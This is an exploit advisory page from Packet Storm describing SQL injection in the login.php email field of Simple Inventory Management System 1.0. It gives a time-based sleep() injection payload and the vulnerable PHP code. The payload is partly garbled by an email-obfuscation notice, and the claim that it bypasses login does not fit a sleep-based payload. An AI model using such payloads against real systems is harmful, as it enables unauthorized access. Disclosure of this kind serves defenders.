Simple Inventory Management System 1.0 SQL Injection ≈ Packet Storm

Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]

Simple Inventory Management System 1.0 SQL Injection[6]
Authored by SoSPiro[7]

Simple Inventory Management System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 8e51d27e9d209102d0cc21f4fcd8ca293e548ced1856940a8a497960d3d17967

Change Mirror[11] Download[12]

        # Exploit Title: Simple Inventory Management System - SQL Injection
# Google Dork: N/A
# Application: Simple Inventory Management System
# Date: 26.02.2024
# Bugs: SQL Injection
# Exploit Author: SoSPiro
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15419/simple-inventory-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Windows 10 64 bit Wampserver
# CVE : N/A
## Vulnerability Description:
This code snippet is potentially vulnerable to SQL Injection. User inputs ($_POST['email'] and $_POST['pwd']) are directly incorporated into the SQL query without proper validation or sanitization, exposing the application to the risk of manipulation by malicious users. This could allow attackers to inject SQL code through specially crafted input.
## Proof of Concept (PoC):
An example attacker could input the following values:
email: Cette adresse e-mail est protégée contre les robots spammeurs. Vous devez activer le JavaScript pour la visualiser.'%2b(select*from(select(sleep(20)))a)%2b'
pwd: test
This would result in the following SQL query:
SELECT * FROM users WHERE email = Cette adresse e-mail est protégée contre les robots spammeurs. Vous devez activer le JavaScript pour la visualiser.'+(select*from(select(sleep(20)))a)+'' AND password = 'anything'
This attack would retrieve all users, making the login process always successful.
request-response foto:https://i.imgur.com/slkzYJt.png
## Vulnerable code section:
====================================================
ims/login.php
<?php
ob_start();
session_start();
include('inc/header.php');
$loginError = '';
if (!empty($_POST['email']) && !empty($_POST['pwd'])) {
include 'Inventory.php';
$inventory = new Inventory();
// Vulnerable code
$login = $inventory->login($_POST['email'], $_POST['pwd']);
//
if(!empty($login)) {
$_SESSION['userid'] = $login[0]['userid'];
$_SESSION['name'] = $login[0]['name'];
header("Location:index.php");
} else {
$loginError = "Invalid email or password!";
}
}
?>

Login[13] or Register[14] to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa

File Tags

File Archives

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services[119]
Hosting By
Rokasec[120]
close
Image

Pensée du jour :

Ce que l'homme a fait ,

l'homme peut le défaire.

 

"No secure path in the world"